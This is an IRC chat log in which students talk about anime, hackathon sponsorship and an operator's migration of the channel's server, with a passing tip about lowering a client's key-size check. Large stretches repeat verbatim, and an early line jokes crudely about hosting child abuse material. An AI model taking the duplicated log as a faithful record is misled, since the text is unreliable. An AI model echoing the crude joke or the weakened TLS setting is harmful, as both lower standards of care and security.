[2015-02-03T16:22:10-0500] <MrSaints> oops
[2015-02-03T16:22:13-0500] <MrSaints> *awe
[2015-02-03T16:22:13-0500] <@awe> lol
[2015-02-03T16:22:22-0500] <MrSaints> Too used to you being the only A
[2015-02-03T16:22:33-0500] <@awe> Just me and awebot ;)
[2015-02-03T16:26:25-0500] <MrSaints> so how much more stable is this compared to fyre?
[2015-02-03T16:26:32-0500] <MrSaints> cause i keep getting dropped from fyre
[2015-02-03T16:26:34-0500] <MrSaints> lel
[2015-02-03T16:27:08-0500] <@awe> Well, with the exception of me doing some breaking configuration changes to get SSL working yesterday
[2015-02-03T16:27:17-0500] <@awe> (well, to get it verifying in clients)
[2015-02-03T16:27:28-0500] <@awe> (specifically weechat)
[2015-02-03T16:27:36-0500] <@awe> and also excluding the work I'm about to do today
[2015-02-03T16:27:49-0500] <@awe> It's been up 100% in the three or four months I've been running it.
[2015-02-03T16:28:00-0500] <MrSaints> k i guess i can migrate
[2015-02-03T16:28:07-0500] <MrSaints> #freemarketing
[2015-02-03T16:28:17-0500] <@awe> Yeah, you can feel free to host anything you want here.
[2015-02-03T16:28:25-0500] <MrSaints> #childporn
[2015-02-03T16:28:34-0500] <@awe> As long as I don't know it exists...
[2015-02-03T16:32:06-0500] <MrSaints> so where have you been promoting this bird?
[2015-02-03T16:32:11-0500] <@awe> Nowhere.
[2015-02-03T16:32:14-0500] <MrSaints> still think you should've called it shark or something
[2015-02-03T16:32:22-0500] <MrSaints> like katy perry's sharl
[2015-02-03T16:32:23-0500] <MrSaints> *shark
[2015-02-03T16:32:38-0500] <@awe> We normally have a few more people than is here currently, and it's been strictly via word of mouth.
[2015-02-03T16:32:45-0500] <MrSaints> https://s.yimg.com/cd/diminuendo/1.0/original/0ce11856aef17620a76a35988141f0daf1d966f5.gif
[2015-02-03T16:32:48-0500] <MrSaints> so good lol
[2015-02-03T16:32:54-0500] <@awe> lol
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[2015-02-03T17:20:22-0500] <Coast> so I run this website where I want to asnwer questions from people regarding physics or anything else really
[2015-02-03T17:20:40-0500] <Coast> it's denizensanswer.wordpress.com but I have a big issue
[2015-02-03T17:20:50-0500] <Coast> that being that I can't find any good questions to answer
[2015-02-03T17:23:09-0500] <@awe> That is a big issue.
[2015-02-03T17:25:00-0500] <Coast> yes
[2015-02-03T17:25:06-0500] <Coast> quite the fatal blow
[2015-02-03T17:46:02-0500] <@awe> I'm making good progress on the server migration, by the way.
[2015-02-03T17:46:14-0500] <@awe> The Bay Area box is set up, and I'm doing the new NJ one now.
[2015-02-03T17:59:13-0500] <ubuntor> nice
[2015-02-03T17:59:24-0500] <jwoglom> cool
[2015-02-03T18:00:09-0500] <@awe> Once I'm done, I'll take down the server, and it'll come back up immediately with the two linked ones.
[2015-02-03T18:00:10-0500] <JacobEdelman> Coast: what would happen if people never lost mass that they acquired (aka they never excreated), assume they don't die
[2015-02-03T18:00:26-0500] <@awe> irc.pdgn.co will route to both servers, and you can also selectively route to the one closer to you.
[2015-02-03T18:01:36-0500] <JacobEdelman> MrSaints: who are you? you know awe? (I interview people when they join here)
[2015-02-03T18:02:09-0500] <@awe> You weren't around to harass Trent when he was here.
[2015-02-03T18:02:46-0500] <JacobEdelman> Trent? when was he here, and when will he come back?
[2015-02-03T18:02:55-0500] <JacobEdelman> oh, mrsaints === trent
[2015-02-03T18:02:58-0500] <JacobEdelman> and he left
[2015-02-03T18:03:00-0500] <JacobEdelman> I get it
[2015-02-03T18:03:03-0500] <JacobEdelman> well, I'll wait
[2015-02-03T18:03:07-0500] <JacobEdelman> fine, I'll ask you, awe
[2015-02-03T18:03:14-0500] <JacobEdelman> awe: is mrsaints in hs/college?
[2015-02-03T18:03:15-0500] <@awe> No.
[2015-02-03T18:03:19-0500] <@awe> MrSaints != Trent.
[2015-02-03T18:03:22-0500] <JacobEdelman> .... oh
[2015-02-03T18:03:23-0500] <@awe> But MrSaints is no longer here.
[2015-02-03T18:03:31-0500] <JacobEdelman> two people you invited?
[2015-02-03T18:03:32-0500] <JacobEdelman> wow
[2015-02-03T18:03:41-0500] <JacobEdelman> originally it was just me and alokpathy I think
[2015-02-03T18:03:45-0500] <@awe> MrSaints is a Uni student.
[2015-02-03T18:03:49-0500] <JacobEdelman> ah, good
[2015-02-03T18:03:51-0500] <JacobEdelman> and Trent?
[2015-02-03T18:03:53-0500] <@awe> Yes, I originally invited only you and alokpathy.
[2015-02-03T18:03:55-0500] <Coast> JacobEdelman, good one, I'll write it down. Thanks!
[2015-02-03T18:04:02-0500] <JacobEdelman> Coast: no problem!
[2015-02-03T18:04:04-0500] <@awe> Trent is the owner of the other IRC network I frequent.
[2015-02-03T18:04:17-0500] <JacobEdelman> hs? college? 
[2015-02-03T18:04:22-0500] <@awe> Adult?
[2015-02-03T18:04:23-0500] <@awe> Employed?
[2015-02-03T18:04:27-0500] <JacobEdelman> ah
[2015-02-03T18:04:46-0500] <JacobEdelman> will he be a regular here?
[2015-02-03T18:04:55-0500] <@awe> Probably not.
[2015-02-03T18:05:00-0500] <JacobEdelman> okay, than its fine
[2015-02-03T18:05:03-0500] <@awe> He hasn't even been around on his network for a while.
[2015-02-03T18:05:08-0500] <JacobEdelman> I like the fact that everyone here is uni or hs
[2015-02-03T18:06:55-0500] <JacobEdelman> Hyper: this whol japanese princess and whatever his name is (rebel dude swore to defend her) love story is weird, isn't she, like, 11?
[2015-02-03T18:07:13-0500] <JacobEdelman> *whole
[2015-02-03T18:10:31-0500] <@awe> JacobEdelman: what about when everyone has graduated uni though?
[2015-02-03T18:11:04-0500] <@awe> JacobEdelman: I mean, when you're a sophomore in Uni, I'll be doing my PhD.
[2015-02-03T18:18:26-0500] <@awe> Unfortunately, we're going to have to wait until I get the SSL cert for the new NJ server though.
[2015-02-03T18:31:05-0500] <@awe> I'm just waiting on this email with the cert.
[2015-02-03T18:38:41-0500] <Hyper> JacobEdelman: yeah that's kinda the slow part of the second season
[2015-02-03T18:38:59-0500] <Hyper> don't worry, it gets super hype
[2015-02-03T18:39:36-0500] <Hyper> I normally skip that set of episodes on rewatches
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[2015-02-03T19:14:07-0500] <JacobEdelman> awe: well, its fine , I just want this irc to stay roughly around the same age as me, its nice
[2015-02-03T19:14:17-0500] <JacobEdelman> q724t: friend or foe?
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[2015-02-03T19:18:59-0500] <JacobEdelman> Hyper: .... 108 girls?
[2015-02-03T19:20:06-0500] <JacobEdelman> Hyper: this doesn't even make sense ... :P
[2015-02-03T19:31:07-0500] <ubuntor> wait, what are you watching?
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[2015-02-03T19:32:24-0500] <JacobEdelman> ubuntor: code geass
[2015-02-03T19:32:29-0500] <ubuntor> ic
[2015-02-03T19:34:07-0500] <ubuntor> oh, has anyone heard about glnext?
[2015-02-03T19:35:03-0500] <LittleBobbyTables> http://esportsexpress.com/2015/01/harry-potter-dota-02/
[2015-02-03T19:38:09-0500] <LittleBobbyTables> 01 is the start, my bad
[2015-02-03T19:38:23-0500] <ubuntor> ooh, second chapter?
[2015-02-03T19:39:14-0500] <LittleBobbyTables> Yeah.
[2015-02-03T19:39:19-0500] <LittleBobbyTables> This site is glorious
[2015-02-03T19:44:18-0500] <ubuntor> oh, there's more chapters
[2015-02-03T19:44:41-0500] <ubuntor> this is great
[2015-02-03T19:44:47-0500] <LittleBobbyTables> There's 5 so far I think
[2015-02-03T19:45:03-0500] <LittleBobbyTables> If you're confused about something cause it's dota, ask me
[2015-02-03T19:52:48-0500] <@awe> JacobEdelman: why is it nice that we're around the same age?
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[2015-02-03T19:59:29-0500] <JacobEdelman> awe: hmmm... I like interacting with peers
[2015-02-03T20:02:08-0500] <hardmath123> GitHub said they'd try and send us a speaker *and* mail me stickers! :D
[2015-02-03T20:02:50-0500] <alokpathy> :DDD
[2015-02-03T20:03:05-0500] <hardmath123> For those of you following along with our Pie-inspired sponsoring levels: that puts them at the "CowPi" sponsoring level.
[2015-02-03T20:03:07-0500] <JacobEdelman> hardmath123: for gunnhacks?
[2015-02-03T20:03:14-0500] <hardmath123> JacobEdelman: yea.
[2015-02-03T20:03:27-0500] <JacobEdelman> hardmath123: hmm... if hscs.io gets cash we may sponsor
[2015-02-03T20:04:20-0500] <hardmath123> JacobEdelman: that would be nice, yes.
[2015-02-03T20:04:28-0500] <JacobEdelman> hardmath123: are you paying for travel?
[2015-02-03T20:05:15-0500] <hardmath123> JacobEdelman: not unless you sponsor us!
[2015-02-03T20:05:28-0500] <JacobEdelman> hardmath123: wait, if we sponsor you'll pay for my travel?
[2015-02-03T20:05:47-0500] • JacobEdelman: sponsors for 500 dollars and makes gunnhacks pay the 600 dollars for a round trip. :P
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[2015-02-03T18:04:54-0500] <@awe> Probably not.
[2015-02-03T18:04:59-0500] <JacobEdelman> okay, than its fine
[2015-02-03T18:05:02-0500] <@awe> He hasn't even been around on his network for a while.
[2015-02-03T18:05:08-0500] <JacobEdelman> I like the fact that everyone here is uni or hs
[2015-02-03T18:06:54-0500] <JacobEdelman> Hyper: this whol japanese princess and whatever his name is (rebel dude swore to defend her) love story is weird, isn't she, like, 11?
[2015-02-03T18:07:12-0500] <JacobEdelman> *whole
[2015-02-03T18:10:30-0500] <@awe> JacobEdelman: what about when everyone has graduated uni though?
[2015-02-03T18:11:03-0500] <@awe> JacobEdelman: I mean, when you're a sophomore in Uni, I'll be doing my PhD.
[2015-02-03T18:18:25-0500] <@awe> Unfortunately, we're going to have to wait until I get the SSL cert for the new NJ server though.
[2015-02-03T18:31:04-0500] <@awe> I'm just waiting on this email with the cert.
[2015-02-03T18:38:40-0500] <Hyper> JacobEdelman: yeah that's kinda the slow part of the second season
[2015-02-03T18:38:58-0500] <Hyper> don't worry, it gets super hype
[2015-02-03T18:39:35-0500] <Hyper> I normally skip that set of episodes on rewatches
[2015-02-03T19:14:07-0500] <JacobEdelman> awe: well, its fine , I just want this irc to stay roughly around the same age as me, its nice
[2015-02-03T19:14:16-0500] <JacobEdelman> q724t: friend or foe?
[2015-02-03T19:18:59-0500] <JacobEdelman> Hyper: .... 108 girls?
[2015-02-03T19:20:05-0500] <JacobEdelman> Hyper: this doesn't even make sense ... :P
[2015-02-03T19:31:06-0500] <ubuntor> wait, what are you watching?
[2015-02-03T19:32:23-0500] <JacobEdelman> ubuntor: code geass
[2015-02-03T19:32:28-0500] <ubuntor> ic
[2015-02-03T19:34:06-0500] <ubuntor> oh, has anyone heard about glnext?
[2015-02-03T19:35:02-0500] <LittleBobbyTables> http://esportsexpress.com/2015/01/harry-potter-dota-02/
[2015-02-03T19:38:08-0500] <LittleBobbyTables> 01 is the start, my bad
[2015-02-03T19:38:22-0500] <ubuntor> ooh, second chapter?
[2015-02-03T19:39:13-0500] <LittleBobbyTables> Yeah.
[2015-02-03T19:39:18-0500] <LittleBobbyTables> This site is glorious
[2015-02-03T19:44:17-0500] <ubuntor> oh, there's more chapters
[2015-02-03T19:44:41-0500] <ubuntor> this is great
[2015-02-03T19:44:47-0500] <LittleBobbyTables> There's 5 so far I think
[2015-02-03T19:45:02-0500] <LittleBobbyTables> If you're confused about something cause it's dota, ask me
[2015-02-03T19:52:47-0500] <@awe> JacobEdelman: why is it nice that we're around the same age?
[2015-02-03T19:59:28-0500] <JacobEdelman> awe: hmmm... I like interacting with peers
[2015-02-03T20:02:07-0500] <hardmath123> GitHub said they'd try and send us a speaker *and* mail me stickers! :D
[2015-02-03T20:02:49-0500] <alokpathy> :DDD
[2015-02-03T20:03:04-0500] <hardmath123> For those of you following along with our Pie-inspired sponsoring levels: that puts them at the "CowPi" sponsoring level.
[2015-02-03T20:03:06-0500] <JacobEdelman> hardmath123: for gunnhacks?
[2015-02-03T20:03:13-0500] <hardmath123> JacobEdelman: yea.
[2015-02-03T20:03:26-0500] <JacobEdelman> hardmath123: hmm... if hscs.io gets cash we may sponsor
[2015-02-03T20:04:19-0500] <hardmath123> JacobEdelman: that would be nice, yes.
[2015-02-03T20:04:27-0500] <JacobEdelman> hardmath123: are you paying for travel?
[2015-02-03T20:05:14-0500] <hardmath123> JacobEdelman: not unless you sponsor us!
[2015-02-03T20:05:27-0500] <JacobEdelman> hardmath123: wait, if we sponsor you'll pay for my travel?
[2015-02-03T20:05:46-0500] • JacobEdelman: sponsors for 500 dollars and makes gunnhacks pay the 600 dollars for a round trip. :P
[2015-02-03T20:05:53-0500] <hardmath123> ...
[2015-02-03T20:06:26-0500] <JacobEdelman> gunnhacks
[2015-02-03T20:06:30-0500] <JacobEdelman> the site
[2015-02-03T20:06:41-0500] <hardmath123> yes, ugly, I know. I'm not in charge of it.
[2015-02-03T20:06:44-0500] <JacobEdelman> uses material bootstrap :)
[2015-02-03T20:06:47-0500] <JacobEdelman> thats good
[2015-02-03T20:06:51-0500] <JacobEdelman> I like material bootstrap
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[2015-02-03T20:07:09-0500] <hardmath123> *sigh*
[2015-02-03T20:07:21-0500] <hardmath123> nobody agrees with my web design ideology
[2015-02-03T20:07:50-0500] <alokpathy> I think it looks nice.
[2015-02-03T20:08:28-0500] <JacobEdelman> alokpathy: you just agreed with me and not hardmath123 :)
[2015-02-03T20:09:06-0500] <JacobEdelman> hardmath123: ah, sponsoring starts at 1000 dollars
[2015-02-03T20:10:14-0500] <hardmath123> JacobEdelman: ostensibly. I'd be thrilled if hscs gave us $500.
[2015-02-03T20:10:46-0500] <@awe> Argh. Stupid email come faster.
[2015-02-03T20:11:29-0500] <hardmath123> ?
[2015-02-03T20:11:35-0500] <@awe> StartSSL.
[2015-02-03T20:11:40-0500] <@awe> I'm waiting on the cert for the new NJ server.
[2015-02-03T20:12:49-0500] <JacobEdelman> hardmath123: hmm..... we'll see
[2015-02-03T20:17:52-0500] <@awe> As soon as I get the certs, I can take this server offline and we'll be on the new and improved pdgn network.
[2015-02-03T20:40:18-0500] <LittleBobbyTables> this harry potter story needs to continue more
[2015-02-03T20:44:41-0500] <nezorg> so apparently the akihabara district is otaku central
[2015-02-03T20:44:45-0500] <nezorg> perhaps we should visit
[2015-02-03T20:47:17-0500] <@awe> Is there a way to test if a key belongs to a cert?
[2015-02-03T20:55:02-0500] <@awe> Hmm, the servers aren't linking.
[2015-02-03T20:55:02-0500] <@awe> .-.
[2015-02-03T20:57:52-0500] <ubuntor> hm?
[2015-02-03T20:58:09-0500] <@awe> The two servers won't link.
[2015-02-03T20:58:11-0500] <@awe> I dunno why.
[2015-02-03T20:58:23-0500] <jwoglom> awe: how are you linking them?
[2015-02-03T20:58:27-0500] <jwoglom> the irc servers?
[2015-02-03T20:58:30-0500] <@awe> Yeah.
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[2015-02-03T19:44:47-0500] <LittleBobbyTables> There's 5 so far I think
[2015-02-03T19:45:02-0500] <LittleBobbyTables> If you're confused about something cause it's dota, ask me
[2015-02-03T19:52:47-0500] <@awe> JacobEdelman: why is it nice that we're around the same age?
[2015-02-03T19:59:28-0500] <JacobEdelman> awe: hmmm... I like interacting with peers
[2015-02-03T20:02:07-0500] <hardmath123> GitHub said they'd try and send us a speaker *and* mail me stickers! :D
[2015-02-03T20:02:49-0500] <alokpathy> :DDD
[2015-02-03T20:03:04-0500] <hardmath123> For those of you following along with our Pie-inspired sponsoring levels: that puts them at the "CowPi" sponsoring level.
[2015-02-03T20:03:06-0500] <JacobEdelman> hardmath123: for gunnhacks?
[2015-02-03T20:03:13-0500] <hardmath123> JacobEdelman: yea.
[2015-02-03T20:03:26-0500] <JacobEdelman> hardmath123: hmm... if hscs.io gets cash we may sponsor
[2015-02-03T20:04:19-0500] <hardmath123> JacobEdelman: that would be nice, yes.
[2015-02-03T20:04:27-0500] <JacobEdelman> hardmath123: are you paying for travel?
[2015-02-03T20:05:14-0500] <hardmath123> JacobEdelman: not unless you sponsor us!
[2015-02-03T20:05:27-0500] <JacobEdelman> hardmath123: wait, if we sponsor you'll pay for my travel?
[2015-02-03T20:05:46-0500] • JacobEdelman: sponsors for 500 dollars and makes gunnhacks pay the 600 dollars for a round trip. :P
[2015-02-03T20:05:53-0500] <hardmath123> ...
[2015-02-03T20:06:26-0500] <JacobEdelman> gunnhacks
[2015-02-03T20:06:30-0500] <JacobEdelman> the site
[2015-02-03T20:06:41-0500] <hardmath123> yes, ugly, I know. I'm not in charge of it.
[2015-02-03T20:06:44-0500] <JacobEdelman> uses material bootstrap :)
[2015-02-03T20:06:47-0500] <JacobEdelman> thats good
[2015-02-03T20:06:51-0500] <JacobEdelman> I like material bootstrap
[2015-02-03T20:07:09-0500] <hardmath123> *sigh*
[2015-02-03T20:07:20-0500] <hardmath123> nobody agrees with my web design ideology
[2015-02-03T20:07:49-0500] <alokpathy> I think it looks nice.
[2015-02-03T20:08:28-0500] <JacobEdelman> alokpathy: you just agreed with me and not hardmath123 :)
[2015-02-03T20:09:06-0500] <JacobEdelman> hardmath123: ah, sponsoring starts at 1000 dollars
[2015-02-03T20:10:13-0500] <hardmath123> JacobEdelman: ostensibly. I'd be thrilled if hscs gave us $500.
[2015-02-03T20:10:47-0500] <@awe> Argh. Stupid email come faster.
[2015-02-03T20:11:28-0500] <hardmath123> ?
[2015-02-03T20:11:35-0500] <@awe> StartSSL.
[2015-02-03T20:11:39-0500] <@awe> I'm waiting on the cert for the new NJ server.
[2015-02-03T20:12:48-0500] <JacobEdelman> hardmath123: hmm..... we'll see
[2015-02-03T20:17:51-0500] <@awe> As soon as I get the certs, I can take this server offline and we'll be on the new and improved pdgn network.
[2015-02-03T20:40:17-0500] <LittleBobbyTables> this harry potter story needs to continue more
[2015-02-03T20:44:40-0500] <nezorg> so apparently the akihabara district is otaku central
[2015-02-03T20:44:44-0500] <nezorg> perhaps we should visit
[2015-02-03T20:47:17-0500] <@awe> Is there a way to test if a key belongs to a cert?
[2015-02-03T20:55:01-0500] <@awe> Hmm, the servers aren't linking.
[2015-02-03T20:55:02-0500] <@awe> .-.
[2015-02-03T20:57:51-0500] <ubuntor> hm?
[2015-02-03T20:58:08-0500] <@awe> The two servers won't link.
[2015-02-03T20:58:10-0500] <@awe> I dunno why.
[2015-02-03T20:58:23-0500] <jwoglom> awe: how are you linking them?
[2015-02-03T20:58:26-0500] <jwoglom> the irc servers?
[2015-02-03T20:58:30-0500] <@awe> Yeah.
[2015-02-03T21:22:19-0500] <alokpathy> Lol http://care.diabetesjournals.org/content/17/2/152.abstract
[2015-02-03T21:24:42-0500] <alokpathy> [rediscovers calculus]
[2015-02-03T21:25:26-0500] <nezorg> depending on the kind of calculus:
[2015-02-03T21:25:36-0500] <nezorg> [irrelevant simplification intensifies]
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[2015-02-03T19:44:47-0500] <LittleBobbyTables> There's 5 so far I think
[2015-02-03T19:45:02-0500] <LittleBobbyTables> If you're confused about something cause it's dota, ask me
[2015-02-03T19:52:47-0500] <@awe> JacobEdelman: why is it nice that we're around the same age?
[2015-02-03T19:59:28-0500] <JacobEdelman> awe: hmmm... I like interacting with peers
[2015-02-03T20:02:07-0500] <hardmath123> GitHub said they'd try and send us a speaker *and* mail me stickers! :D
[2015-02-03T20:02:49-0500] <alokpathy> :DDD
[2015-02-03T20:03:04-0500] <hardmath123> For those of you following along with our Pie-inspired sponsoring levels: that puts them at the "CowPi" sponsoring level.
[2015-02-03T20:03:06-0500] <JacobEdelman> hardmath123: for gunnhacks?
[2015-02-03T20:03:13-0500] <hardmath123> JacobEdelman: yea.
[2015-02-03T20:03:26-0500] <JacobEdelman> hardmath123: hmm... if hscs.io gets cash we may sponsor
[2015-02-03T20:04:19-0500] <hardmath123> JacobEdelman: that would be nice, yes.
[2015-02-03T20:04:27-0500] <JacobEdelman> hardmath123: are you paying for travel?
[2015-02-03T20:05:14-0500] <hardmath123> JacobEdelman: not unless you sponsor us!
[2015-02-03T20:05:27-0500] <JacobEdelman> hardmath123: wait, if we sponsor you'll pay for my travel?
[2015-02-03T20:05:46-0500] • JacobEdelman: sponsors for 500 dollars and makes gunnhacks pay the 600 dollars for a round trip. :P
[2015-02-03T20:05:53-0500] <hardmath123> ...
[2015-02-03T20:06:26-0500] <JacobEdelman> gunnhacks
[2015-02-03T20:06:30-0500] <JacobEdelman> the site
[2015-02-03T20:06:41-0500] <hardmath123> yes, ugly, I know. I'm not in charge of it.
[2015-02-03T20:06:44-0500] <JacobEdelman> uses material bootstrap :)
[2015-02-03T20:06:47-0500] <JacobEdelman> thats good
[2015-02-03T20:06:51-0500] <JacobEdelman> I like material bootstrap
[2015-02-03T20:07:09-0500] <hardmath123> *sigh*
[2015-02-03T20:07:20-0500] <hardmath123> nobody agrees with my web design ideology
[2015-02-03T20:07:49-0500] <alokpathy> I think it looks nice.
[2015-02-03T20:08:28-0500] <JacobEdelman> alokpathy: you just agreed with me and not hardmath123 :)
[2015-02-03T20:09:06-0500] <JacobEdelman> hardmath123: ah, sponsoring starts at 1000 dollars
[2015-02-03T20:10:13-0500] <hardmath123> JacobEdelman: ostensibly. I'd be thrilled if hscs gave us $500.
[2015-02-03T20:10:47-0500] <@awe> Argh. Stupid email come faster.
[2015-02-03T20:11:28-0500] <hardmath123> ?
[2015-02-03T20:11:35-0500] <@awe> StartSSL.
[2015-02-03T20:11:39-0500] <@awe> I'm waiting on the cert for the new NJ server.
[2015-02-03T20:12:48-0500] <JacobEdelman> hardmath123: hmm..... we'll see
[2015-02-03T20:17:51-0500] <@awe> As soon as I get the certs, I can take this server offline and we'll be on the new and improved pdgn network.
[2015-02-03T20:40:17-0500] <LittleBobbyTables> this harry potter story needs to continue more
[2015-02-03T20:44:40-0500] <nezorg> so apparently the akihabara district is otaku central
[2015-02-03T20:44:44-0500] <nezorg> perhaps we should visit
[2015-02-03T20:47:17-0500] <@awe> Is there a way to test if a key belongs to a cert?
[2015-02-03T20:55:01-0500] <@awe> Hmm, the servers aren't linking.
[2015-02-03T20:55:02-0500] <@awe> .-.
[2015-02-03T20:57:51-0500] <ubuntor> hm?
[2015-02-03T20:58:08-0500] <@awe> The two servers won't link.
[2015-02-03T20:58:10-0500] <@awe> I dunno why.
[2015-02-03T20:58:23-0500] <jwoglom> awe: how are you linking them?
[2015-02-03T20:58:26-0500] <jwoglom> the irc servers?
[2015-02-03T20:58:30-0500] <@awe> Yeah.
[2015-02-03T21:22:19-0500] <alokpathy> Lol http://care.diabetesjournals.org/content/17/2/152.abstract
[2015-02-03T21:24:42-0500] <alokpathy> [rediscovers calculus]
[2015-02-03T21:25:26-0500] <nezorg> depending on the kind of calculus:
[2015-02-03T21:25:36-0500] <nezorg> [irrelevant simplification intensifies]
[2015-02-03T21:27:45-0500] Mode is +nt
[2015-02-03T21:27:48-0500] <LittleBobbyTables> jesus fucking christ
[2015-02-03T21:27:54-0500] <LittleBobbyTables> i just watched that nationwide commercial
[2015-02-03T21:28:02-0500] <alokpathy> The depressing one?
[2015-02-03T21:28:14-0500] <alokpathy> With the kid?
[2015-02-03T21:28:30-0500] <LittleBobbyTables> yeah
[2015-02-03T21:28:45-0500] <alokpathy> Yeah that was pretty sad.
[2015-02-03T21:29:09-0500] <LittleBobbyTables> "We here at Nationwide believe we can keep your kids alive from your stupidity somehow, give us money"
[2015-02-03T21:29:15-0500] <@awe> DAMMIT Y WON'T U LINK?
[2015-02-03T21:29:41-0500] <LittleBobbyTables> Are you putting -s
[2015-02-03T21:29:49-0500] <@awe> ?
[2015-02-03T21:29:51-0500] <@awe> wat
[2015-02-03T21:29:55-0500] <@awe> I'm not talking about ln -s
[2015-02-03T21:30:01-0500] <@awe> I'm talking about the IRC servers.
[2015-02-03T21:30:11-0500] <LittleBobbyTables> pls
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[2015-02-03T21:39:16-0500] <@awe> Okay, I got it.
[2015-02-03T21:39:40-0500] <jwoglom> protip: don't plug a paper shredder into the same outlet as your router
[2015-02-03T21:39:42-0500] <jwoglom> thx dad
[2015-02-03T21:40:00-0500] <@awe> Okay, guys. I'm updating the DNS records now.
[2015-02-03T21:41:39-0500] <@awe> Okay, it resolves properly.
[2015-02-03T21:41:43-0500] <@awe> This server is coming down.
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[2015-02-03T21:43:29-0500] Mode is +nt
[2015-02-03T21:43:33-0500] <Hyper> goddammit I can't even
[2015-02-03T21:43:37-0500] <awe> We're on a new server now.
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[2015-02-03T21:43:49-0500] <JacobEdelman> awe and awe2 are creating a reign of demonic terror and chaos.... I'm so proud
[2015-02-03T21:43:53-0500] <awe> Nope.
[2015-02-03T21:43:55-0500] <awe> They're gone now.
[2015-02-03T21:43:56-0500] jwoglom is now known as awe2
[2015-02-03T21:44:02-0500] JacobEdelman is now known as awe3
[2015-02-03T21:44:05-0500] nezorg is now known as awe4
[2015-02-03T21:44:06-0500] awe sets mode +q awe
[2015-02-03T21:44:08-0500] <~awe> I hate you all.
[2015-02-03T21:44:11-0500] <awe2> <3
[2015-02-03T21:44:18-0500] <awe3> <3
[2015-02-03T21:44:21-0500] <awe4> <3
[2015-02-03T21:44:36-0500] <awe4> dammit I have homework to do
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[2015-02-03T21:45:00-0500] <awe4> jwoglomvps: /nick awe5
[2015-02-03T21:45:14-0500] <~awe> I hate all of you.
[2015-02-03T21:45:15-0500] jwoglomvps is now known as awe6
[2015-02-03T21:45:18-0500] <~awe> So much.
[2015-02-03T21:45:20-0500] <awe3> wog-vog: yeah!
[2015-02-03T21:45:25-0500] <awe3> awe: :P
[2015-02-03T21:45:45-0500] <awe4> this is wonderful
[2015-02-03T21:45:50-0500] <~awe> woggles, y u hurt me so?
[2015-02-03T21:45:59-0500] <awe2> awe: because why not :P
[2015-02-03T21:46:00-0500] <~awe> It doesn't actually confuse me because of name colors
[2015-02-03T21:46:03-0500] <~awe> woggles is still purple
[2015-02-03T21:46:04-0500] awe5 (Tamini@pdgn-4jd.4t2.2bemd8.IP) joined the channel
[2015-02-03T21:46:07-0500] <~awe> nezorg is still brown
[2015-02-03T21:46:10-0500] <~awe> Jacob is still green
[2015-02-03T21:46:11-0500] <awe2> oh hey, an awe5
[2015-02-03T21:46:22-0500] <~awe> awe5: that's the reason.
[2015-02-03T21:46:30-0500] <awe4> indeed
[2015-02-03T21:47:14-0500] <awe5> 5
[2015-02-03T21:47:16-0500] awe changed the topic to Temporary qdb: http://backtick.town/~kc/qdb.txt | Pidgey is on GitHub: http://git.io/caK7Kg | Donate to PdgnCo: 1BZmyVhDu3p6xqsnat81fYD7hm3ZqR2bf
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[2015-02-03T21:47:24-0500] <awe5> wait i'm confused.
[2015-02-03T21:47:31-0500] hardmath123 (hardmath123@pdgn-1fv.ggl.o6nc3t.IP) joined the channel
[2015-02-03T21:47:31-0500] <awe3> whats confusing?
[2015-02-03T21:47:35-0500] <~awe> hi hardmath123
[2015-02-03T21:47:38-0500] <awe4> hardmath123: /nick awe8
[2015-02-03T21:47:38-0500] <~awe> hardmath123: I hate all of them.
[2015-02-03T21:47:40-0500] <awe3> you're awe, I'm awe, everybodies awe
[2015-02-03T21:47:50-0500] <awe5> hey, hardmath123.
[2015-02-03T21:48:00-0500] <LittleBobbyTables> http://i.imgur.com/M9AzBeq.jpg
[2015-02-03T21:48:00-0500] <hardmath123> awe, weechat complains that the DH prime you send is too small
[2015-02-03T21:48:02-0500] <awe3> hardmath123: /nick awe8, come on!
[2015-02-03T21:48:04-0500] awe8 (james@pdgn-npn.rgt.b45una.IP) joined the channel
[2015-02-03T21:48:05-0500] <~awe> hardmath123: Yeah, I heard.
[2015-02-03T21:48:07-0500] <~awe> Let me fix that.
[2015-02-03T21:48:11-0500] <awe3> LittleBobbyTables: /nick awe 9
[2015-02-03T21:48:16-0500] <hardmath123> awe: I cheated it by setting min_keysize to 8.
[2015-02-03T21:48:17-0500] <hardmath123> :P
[2015-02-03T21:48:19-0500] <awe2> awe9 lets go
[2015-02-03T21:48:28-0500] <LittleBobbyTables> nou
[2015-02-03T21:48:33-0500] <awe7> why not
[2015-02-03T21:48:39-0500] <awe2> look at all this peer pressure
[2015-02-03T21:48:40-0500] <LittleBobbyTables> that requires so much typing
[2015-02-03T21:48:41-0500] <awe2> how could you not
[2015-02-03T21:48:49-0500] <hardmath123> So many awes.
[2015-02-03T21:48:51-0500] <hardmath123> Awesome.
[2015-02-03T21:48:54-0500] <awe2> LittleBobbyTables: here, copy-paste: /nick awe9
[2015-02-03T21:49:02-0500] <awe7> hardmath123: but are you awe?
[2015-02-03T21:49:16-0500] <~awe> You know that you could've all done this before, right?
[2015-02-03T21:49:21-0500] <hardmath123> plot twist: i'm the real awe.
[2015-02-03T21:49:47-0500] <awe2> plot twist: everyone is awe
[2015-02-03T21:49:57-0500] <awe3> plot twist: nobody is awe
[2015-02-03T21:49:58-0500] <awe5> I am the supreme leader of the awes.
[2015-02-03T21:49:59-0500] <~awe> plot twist /ban awe*
[2015-02-03T21:50:06-0500] <hardmath123> EEEEEEEveryone is AWE-some!
[2015-02-03T21:50:06-0500] <awe3> awe: lol
[2015-02-03T21:50:11-0500] <hardmath123> EEEEEEEveryone is cool!
[2015-02-03T21:50:11-0500] <awe2> inb4 the wildcard includes yourself
[2015-02-03T21:50:14-0500] <~awe> I'm exempt from bans.
[2015-02-03T21:50:17-0500] <~awe> << sysop
[2015-02-03T21:50:20-0500] <awe7> hardmath123: when you're part of a team?
[2015-02-03T21:50:25-0500] <awe5> okay.
[2015-02-03T21:50:29-0500] <awe7> hardmath123: (cue lego movie music)
[2015-02-03T21:50:29-0500] <awe5> *poof*
[2015-02-03T21:50:39-0500] <~awe> Can you please go back to normal now?
[2015-02-03T21:50:43-0500] awe5 (Tamini@pdgn-4jd.4t2.2bemd8.IP) left the channel ("me going now")
[2015-02-03T21:50:50-0500] awe2 is now known as aww
[2015-02-03T21:50:52-0500] <awe3> ... I don't know
[2015-02-03T21:51:02-0500] <awe3> I'll go back to normal if you can guess who I am
[2015-02-03T21:51:10-0500] <Hyper> awe3: Jacob
[2015-02-03T21:51:11-0500] <Hyper> done
[2015-02-03T21:51:12-0500] <awe7> Same for me!
[2015-02-03T21:51:14-0500] <Hyper> go away
